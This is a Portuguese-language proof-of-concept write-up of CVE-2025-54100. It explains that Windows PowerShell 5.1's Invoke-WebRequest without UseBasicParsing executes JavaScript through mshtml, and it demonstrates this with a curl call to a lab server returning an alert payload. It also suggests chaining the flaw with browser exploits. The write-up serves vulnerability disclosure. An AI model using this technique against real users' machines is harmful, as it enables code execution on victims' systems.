
Prova de conceito para CVE-2025-54100: XSS no Invoke-WebRequest do PowerShell via mshtml.HTMLDocumentClass, permitindo execução remota de código ao acessar JavaScript malicioso.
O curl do Powershell usa Invoke-WebRequest internamente.
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
Observando a documentação do parâmetro UseBasicParsing,
Este parâmetro foi preterido. A partir do PowerShell 6.0.0, todas as solicitações da Web usam apenas análise básica. Este parâmetro é incluído apenas para compatibilidade reversa e qualquer uso dele não tem efeito na operação do cmdlet.
O problema está em UseBasicParsing do cmdlet Invoke-WebRequest do Powershell. UseBasicParsing usa análise básica, não avalia nenhum código javascript. Ele apenas lê o texto e o analisa.
Se este parâmetro não for fornecido, o Invoke-WebRequest inicia o Internet Explorer por baixo e tenta analisar o código html avaliando-o de fato, usando mshtml.HTMLDocumentClass. Fazer uma solicitação curl para um site que hospeda um código javascript resulta na execução de código no navegador do cliente, que é o terminal do Windows no nosso caso.
A documentação do mshtml.HTMLDocumentClass pode ser encontrada abaixo.
Observando o ciclo de vida do primeiro documento acima, podemos ver que,
Windows PowerShell 5.1 Ago-2016 Lançado na Atualização de Aniversário do Windows 10 e no Windows Server 2016, WMF 5.1 PowerShell 6.0 20-Jan-2018 13-Fev-2019 Construído no .NET Core 2.0 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
Após alguma investigação, notamos que as versões mais recentes do Windows 11, Server 22 e 25 são fornecidas com uma versão antiga do Powershell (5.1 e é o padrão), que é vulnerável a ataques de XSS.
Instalação limpa do Windows Server 22,

O ataque é muito simples;

PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
Você pode ser criativo e realizar coisas como open("about:blank").

Deve-se considerar também que isso pode ser usado em cadeias maiores, como exploits de navegador, para obter uma execução confiável ou forçar a renderização do navegador.
Severity: Important, Security Impact: Remote Code Execution e recebeu uma recompensa de $5,000.